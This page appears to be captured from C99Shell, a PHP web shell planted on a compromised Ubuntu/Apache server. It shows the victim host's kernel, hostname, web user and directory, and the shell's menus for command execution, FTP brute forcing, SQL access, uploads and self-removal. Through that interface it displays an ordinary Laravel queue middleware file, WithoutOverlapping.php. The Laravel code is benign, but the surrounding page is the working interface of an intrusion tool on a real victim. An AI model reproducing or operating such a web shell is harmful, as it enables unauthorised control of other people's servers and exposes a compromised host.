!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/illuminate/queue/Middleware/   drwxr-xr-x
Free 12.96 GB of 57.97 GB (22.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WithoutOverlapping.php (3.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Queue\Middleware;

use 
Illuminate\Container\Container;
use 
Illuminate\Contracts\Cache\Repository as Cache;
use 
Illuminate\Support\InteractsWithTime;

class 
WithoutOverlapping
{
    use 
InteractsWithTime;

    
/**
     * The job's unique key used for preventing overlaps.
     *
     * @var string
     */
    
public $key;

    
/**
     * The number of seconds before a job should be available again if no lock was acquired.
     *
     * @var \DateTimeInterface|int|null
     */
    
public $releaseAfter;

    
/**
     * The number of seconds before the lock should expire.
     *
     * @var int
     */
    
public $expiresAfter;

    
/**
     * The prefix of the lock key.
     *
     * @var string
     */
    
public $prefix 'laravel-queue-overlap:';

    
/**
     * Create a new middleware instance.
     *
     * @param  string  $key
     * @param  \DateTimeInterface|int|null  $releaseAfter
     * @param  \DateTimeInterface|int  $expiresAfter
     * @return void
     */
    
public function __construct($key ''$releaseAfter 0$expiresAfter 0)
    {
        
$this->key $key;
        
$this->releaseAfter $releaseAfter;
        
$this->expiresAfter $this->secondsUntil($expiresAfter);
    }

    
/**
     * Process the job.
     *
     * @param  mixed  $job
     * @param  callable  $next
     * @return mixed
     */
    
public function handle($job$next)
    {
        
$lock Container::getInstance()->make(Cache::class)->lock(
            
$this->getLockKey($job), $this->expiresAfter
        
);

        if (
$lock->get()) {
            try {
                
$next($job);
            } finally {
                
$lock->release();
            }
        } elseif (! 
is_null($this->releaseAfter)) {
            
$job->release($this->releaseAfter);
        }
    }

    
/**
     * Set the delay (in seconds) to release the job back to the queue.
     *
     * @param  int  $releaseAfter
     * @return $this
     */
    
public function releaseAfter($releaseAfter)
    {
        
$this->releaseAfter $releaseAfter;

        return 
$this;
    }

    
/**
     * Do not release the job back to the queue if no lock can be acquired.
     *
     * @return $this
     */
    
public function dontRelease()
    {
        
$this->releaseAfter null;

        return 
$this;
    }

    
/**
     * Set the maximum number of seconds that can elapse before the lock is released.
     *
     * @param  \DateTimeInterface|int  $expiresAfter
     * @return $this
     */
    
public function expireAfter($expiresAfter)
    {
        
$this->expiresAfter $this->secondsUntil($expiresAfter);

        return 
$this;
    }

    
/**
     * Set the prefix of the lock key.
     *
     * @param  string  $prefix
     * @return $this
     */
    
public function withPrefix(string $prefix)
    {
        
$this->prefix $prefix;

        return 
$this;
    }

    
/**
     * Get the lock key for the given job.
     *
     * @param  mixed  $job
     * @return string
     */
    
public function getLockKey($job)
    {
        return 
$this->prefix.get_class($job).':'.$this->key;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0331 ]--